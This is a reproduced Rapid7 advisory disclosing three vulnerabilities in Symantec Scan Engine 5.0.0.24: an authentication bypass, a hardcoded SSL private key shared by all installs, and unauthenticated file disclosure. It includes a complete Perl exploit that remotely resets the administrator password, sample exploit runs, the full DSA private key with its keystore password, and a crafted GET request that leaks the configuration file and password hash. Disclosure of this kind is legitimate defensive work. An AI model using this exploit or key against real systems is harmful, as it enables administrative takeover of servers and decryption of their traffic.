|
|
|
|
| |
Credit:
The information has been provided by rapid7.
The original article can be found at: http://www.rapid7.com/advisories/R7-0021.html,
http://www.rapid7.com/advisories/R7-0022.html,
http://www.rapid7.com/advisories/R7-0023.html
|
| |
Vulnerable Systems:
* Symantec Scan Engine version 5.0.0.24
Immune Systems:
* Symantec Scan Engine version 5.1.0.7
Authentication Bypass:
Symantec Scan Engine provides a web-based administrative interface that is used for managing scanning options and antivirus definitions. To access the interface, an administrator must browse to it, load a Java applet, and log in with a password.
However, the authentication mechanism used by Symantec Scan Engine contains a fundamental design flaw that allows any remote user to gain full administrative access to the server. The server does not verify the password entered by the user. The password is only verified by the client-side Java applet. Anyone with knowledge of the underlying communication mechanism can exercise full control of the Scan Engine server simply by posting XML requests to the server using its proprietary protocol.
The administrative web interface, which is typically accessible on default TCP port 8004, is implemented as a Java applet. Also, an additional SSL connection to TCP port 8005 is used by the applet to exchange configuration information with the server using a proprietary protocol based on XML exchanges. The authentication model used by the administrative interface is utterly flawed, because the server trusts the client applet to correctly authenticate users. The protocols themselves (HTTP on port 8004 and proprietary protocol on port 8005) do NOT require client authentication.
For example, when an administrator user changes his password via the administrative interface, the Java applet simply connects to port 8005 and sends a request to change the administrator password hash.
No authentication is required. The direct consequence of this is that any remote attacker can change the administrator password to a password of his choice.
By using the tool change_scan_engine_pw.pl that is included with this advisory there is a way to change the administrative password:
Proof of Concept:
$ ./change_scan_engine_pw.pl --pwd foobar 10.68.4.4
Old hash:
E97B788686921D991B3179F1E8CCA6491D3714F2F3EC2ADE399CB71A828090AF
New hash:
656268BDDE60892B3B5D92781E79C05031E2B48F3D222EB8A71D507FAB2E9EB0
Password successfully set to: 'foobar'
$ ./change_scan_engine_pw.pl \
--hash E97B788686921D991B3179F1E8CCA6491D3714F2F3EC2ADE399CB71A828090AF
\
10.68.4.4
Old hash:
656268BDDE60892B3B5D92781E79C05031E2B48F3D222EB8A71D507FAB2E9EB0
New hash:
E97B788686921D991B3179F1E8CCA6491D3714F2F3EC2ADE399CB71A828090AF
The first command resets the administrator password to 'foobar': it asks Scan Engine for the current administrator password hash (E97B...) for information purpose only (the attack does not actually require knowledge of the previous password hash), computes the hash corresponding to the new password (6562...), and uploads this new hash. The second command just restores the previous password (which is unknown) by re-uploading the previous hash (E97B...) to the server.
Note: the 256-bit password hash is computed using the following algorithm. First, a random 128-bit salt is chosen. Second, a character string is built by concatenating the password string and the uppercase hexadecimal representation of the salt. Third, the 128-bit MD5 digest of this concatenated string is computed. Finally the 256-bit password hash is built by concatenating the 128-bit MD5 digest and the 128-bit salt.
Immutable DSA Private Key:
Symantec Scan Engine exhibits a vulnerability in the way it generates the SSL private key used for protecting communications over TCP port 8005. This port is used to exchange sensitive configuration and control commands between the server and the administrative control application.
While all data over this port is protected using SSL, Rapid7 has found that every installation of Symantec Scan Engine uses the same private DSA key. This immutable key cannot be changed by end users and can be extracted easily from any installation of this product.
This design flaw renders the SSL protection useless. A man-in-the-middle attacker could easily intercept and decrypt all communications between Symantec Scan Engine and an administrative client.
Symantec Scan Engine's administrative client exchanges sensitive configuration information with the server using a proprietary protocol protected by SSL which runs by default on TCP port 8005.
This built-in SSL server is used, for example, to transmit the administrator password hash when changing the password. It is crucial for this communication channel to remain private, authenticated, and reliable.
A critical design error has been made in the way SSL protection is employed. The use of a particular DSA private key, pre-generated by Symantec, is enforced in their SSL server in all tested versions of Symantec Scan Engine. End users are offered no way to change the key, and the key itself can be relatively easily extracted from any installation. The key can be found in the file "servers.jar" (located by default in "C:\Program Files\Symantec\Scan Engine"), which contains a java keystore file "com/symantec/jsse/serverKeys" protected by the password "secret". The key entry is stored under the alias "server" and is protected by the password "secret".
This known immutable key renders SSL protection useless since the private key is known to anybody (see below for the key in PEM format). All Scan Engine installations use the same key. For example, attackers can combine ARP or DNS spoofing attacks with the knowledge of the private key to conduct man-in-the-middle attacks.
-----BEGIN DSA PRIVATE KEY-----
MIIBuwIBAAKBgQD9f1OBHXUSKVLfSpwu7OTn9hG3UjzvRADDHj+AtlEmaUVdQCJR
+1k9jVj6v8X1ujD2y5tVbNeBO4AdNG/yZmC3a5lQpaSfn+gEexAiwk+7qdf+t8Yb
+DtX58aophUPBPuD9tPFHsMCNVQTWhaRMvZ1864rYdcq7/IiAxmd0UgBxwIVAJdg
UI8VIwvMspK5gqLrhAvwWBz1AoGBAPfhoIXWmz3ey7yrXDa4V7l5lK+7+jrqgvlX
TAs9B4JnUVlXjrrUWU/mcQcQgYC0SRZxI+hMKBYTt88JMozIpuE8FnqLVHyNKOCj
rh4rs6Z1kW6jfwv6ITVi8ftiegEkO8yk8b6oUZCJqIPf4VrlnwaSi2ZegHtVJWQB
TDv+z0kqAoGAE9rKDKa4eOROFXX1/jy7sLH34OGTbTmsqYoEBTJt8DolJkr6L4kf
SyOzpIhKB440mmXZMQJbXy0WNBCGzPjq6OHpI60KuBTskWAtPBEGE1jiov/7jK9b
wCt6sTBqo3Ux5ygyjuFQyt89d+qTp9761Z32OvaBq+IJvZYWNM8M/2ECFDLgCI85
fJtA3mlq9Q1T6U36Kl7x
-----END DSA PRIVATE KEY-----
The private component of this DSA key is X:
X = 0x32e0088f397c9b40de696af50d53e94dfa2a5ef1
A tool such as ssldump can be used to confirm the validity of the private key as shown above, by manually comparing its public part to the DSA public key embedded in the SSL server's certificate displayed by ssldump.
File Disclosure:
There is a vulnerability in Symantec Scan Engine which allows unauthenticated remote users to download any file located under the Symantec Scan Engine installation directory. For instance the configuration file, the scanning logs, as well as the current virus definitions can all be accessed by any remote user using regular or specially crafted HTTP requests.
Symantec Scan Engine stores multiple files inside its web root (the default directory is "C:\Program Files\Symantec\Scan Engine"). Most of the files are accessible by any unauthenticated user via regular URLs. For example the following URLs will download the log and corresponding data file for October 17th, 2005:
http://x.x.x.x:8004/log/SSE20051017.log
http://x.x.x.x:8004/log/SSE20051017.dat
In the same way, virus definitions can be accessed from:
http://x.x.x.x:8004/Definitions/AntiVirus/VirusDefs/VIRSCAN1.DAT
http://x.x.x.x:8004/Definitions/AntiVirus/VirusDefs/VIRSCAN2.DAT
Such sensitive knowledge of installed virus definitions will allow an attacker to determine what viruses can be used to infect the network without detection.
Files ending with the '.xml' extension are protected by the HTTP daemon. However, the protection can be easily defeated by appending a trailing backslash to the filename. For example the configuration file configuration.xml, which contains the administrator's password hash, can be accessed by the following HTTP request:
GET /configuration.xml\ HTTP/1.0
The above request will yield the following configuration snippet:
<system>
<TempDir value="C:\Program Files\Symantec\Scan Engine\temp\"/>
[...]
<InstallDir value="C:\Program Files\Symantec\Scan Engine\"/>
<LoadMaximumQueuedClients value="100"/>
<admin>
<port value="8004"/>
<sslport value="8005"/>
<ip value=""/>
<timeout value="300"/>
<password value=
"8369951FB31356D389FBEE4B52F6A7BB51AAE8FBE4B8DB29D249F347C3426D19"/>
</admin>
</system>
CVE Information:
CVE-2006-0230
CVE-2006-0231
CVE-2006-0232
Tool:
#!/usr/bin/perl -w
#
# Remotely change the administrator password (or password hash) of
# Symantec Scan Engine.
#
# Author: Marc Bevand of Rapid7 <marc_bevand(at)rapid7.com>
# Copyright 2006 Rapid7, LLC. All rights reserved.
#
# Redistribution and use in source and binary forms, with or without
# modification, are permitted provided that the following conditions
# are met:
#
# 1. Redistributions of source code must retain the above copyright
# notice, this list of conditions and the following disclaimer.
#
# 2. Redistributions in binary form must reproduce the above
# copyright notice, this list of conditions and the following
# disclaimer in the documentation and/or other materials provided
# with the distribution.
#
# THIS SOFTWARE IS PROVIDED BY RAPID7, LLC ``AS IS'' AND ANY EXPRESS
# OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
# WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
# ARE DISCLAIMED. IN NO EVENT SHALL RAPID7, LLC BE LIABLE FOR ANY
# DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
# DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE
# GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
# INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY,
# WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING
# NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
# SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
#
use strict;
use Getopt::Long;
use LWP::UserAgent;
use Digest::MD5 qw/md5_hex/;
use Net::SSLeay::Handle qw/shutdown/;
#
# Init LWP::UserAgent (the user agent string is the one currently used
# by the Scan Engine java applet).
#
sub init {
my $ua;
$ua = LWP::UserAgent->new(keep_alive => 0);
$ua->agent("Mozilla/4.0 (Windows 2000 5.0) Java/1.4.2_08");
return $ua;
}
#
# Example of service string to be parsed:
# 10.68.4.4
# 10.68.4.4/8004/8005
# hostname
# hostname/9004/9005
#
sub parse_service {
my ($service) = @_;
if ($service =~ m{^([^/]*)/(\d+)/(\d+)$}) {
return $1, $2, $3;
} elsif ($service =~ m{^([^/]*)$}) {
return $1, 8004, 8005;
} else {
die "cannot parse service: $service";
}
}
#
# Sends a request to obtain the password hash. Note: the RSA key
# (modulus and public exponent) has been randomly chosen.
#
sub data_to_send {
my $r1 =
'<request><key mod="784607708866372110095636553206565253692059085'.
'0882661452379500719255245078226751123858547991180612629396444366'.
'109364669329014831409765373165312900564995261" pub="754297542068'.
'3822223796790522532950961415568940207500046396606172395479254814'.
'3383744922039888710333203519260280729415961892539564611703079983'.
'74406014351745">I need the key</key></request>'
;
return $r1;
}
#
# Example of response to be parsed:
# <request>
# <message xmlns:xs="http://www.w3.org/2001/XMLSchema"
# xmlns:java="class:com.symantec.common.SimpleRSA"
# value="01234567890123456789012345678901234567890123456789012345\
# 6789"/>
# <password xmlns:xs="http://www.w3.org/2001/XMLSchema"
# xmlns:java="class:com.symantec.common.SimpleRSA"
# pass="86B7A1FE120C0279971559B6BAC8C5713EF580BAFD20168D622B7E170\
# D248642"/>
# </request>
#
sub parse_resp {
my ($res) = @_;
if ($res =~ /pass="([[:xdigit:]]{64})"/) {
return $1;
} else {
die "cannot parse response: $res";
}
}
#
# Return a password hash.
#
sub hash_passwd {
my ($pwd) = @_;
my $salt = sprintf "%08X%08X%08X%08X", rand(0xffffffff),
rand(0xffffffff), rand(0xffffffff), rand(0xffffffff);
return uc(md5_hex("$pwd$salt")) . $salt;
}
sub send_request {
my ($socket, $req) = @_;
$req = pack("n", length($req)).$req;
print $socket $req;
}
#
# Set the administrator password hash.
#
sub set_hash {
my ($hostname, $port_ssl, $hash) = @_;
my $socket;
my $reply;
tie(*SSL, "Net::SSLeay::Handle", $hostname, $port_ssl)
or die "ssl tie: $!";
$socket = \*SSL;
send_request($socket,
'<request command="submit" parms="apply" type="saveapply">'.
'<![CDATA[<?xml version="1.0" encoding="UTF-8"?>'.
'<guichanges><configuration>'.
'<changes xpath="//admin/password/@value" value="'.$hash.'"/>'.
'</configuration></guichanges>'.
']]></request>');
send_request($socket,
'UTFWritesDone');
shutdown($socket, 1) or die "ssl shutdown: $!";
$reply = substr(<$socket>, 2);
$reply = substr($reply, 0, index($reply, 'UTFWritesDone') - 2);
if ($reply !~ m{<message status='apply_success'>Apply!</message>})
{
die "command failed: $reply";
}
close($socket) or die "ssl close: $!";
}
sub doit {
my ($service, $pwd, $hash) = @_;
my $hostname;
my $port_http;
my $port_ssl;
my $ua;
my $url;
my $req;
my $res;
my $old_hash;
($hostname, $port_http, $port_ssl) = parse_service($service);
$ua = init();
$url = "http://$hostname:$port_http/xml.xml";
$req = HTTP::Request->new(POST => $url);
$req->content_type('application/x-www-form-urlencoded');
$req->content(data_to_send());
$res = $ua->request($req);
$res->is_success or die "got ".$res->status_line." for $url\n";
($old_hash) = parse_resp($res->content);
print "Old hash: $old_hash\n";
if ($hash) {
set_hash($hostname, $port_ssl, $hash);
print "New hash: $hash\n";
} else {
$hash = hash_passwd($pwd);
set_hash($hostname, $port_ssl, $hash);
print "New hash: $hash\n";
print "Password successfully set to: '$pwd'\n";
}
}
sub error {
print STDERR "Try `$0 --help' for more information.\n";
}
sub usage {
print "Usage:\n".
" $0 [OPTIONS] <hostname>\n".
" $0 [OPTIONS] <hostname>/<http_port>/<ssl_port>\n".
"Options:\n".
" --help Display this help\n".
" --pwd <passwd> Set the password (default: test)\n".
" --hash <passwd_hash> Set the password hash instead of a parti".
"cular password\n".
"Examples:\n".
" $0 10.68.4.4\n".
" $0 --pwd foobar 10.68.4.4/8004/8005\n".
"";
}
sub main {
my $help;
my $pwd = "test";
my $hash;
my $service;
if (!GetOptions(
"help" => \$help,
"pwd=s" => \$pwd,
"hash=s" => \$hash,
)) {
error(); exit(1);
}
if ($help) {
usage(); exit(0);
}
if (!scalar(@ARGV)) {
print STDERR "No service specified.\n";
error(); exit(1);
} elsif (1 == scalar(@ARGV)) {
$service = $ARGV[0];
} else {
print STDERR "Extra argument: $ARGV[1]\n";
error(); exit(1);
}
doit($service, $pwd, $hash);
}
main();
#
# END proof of concept
#
|
|
|
|
|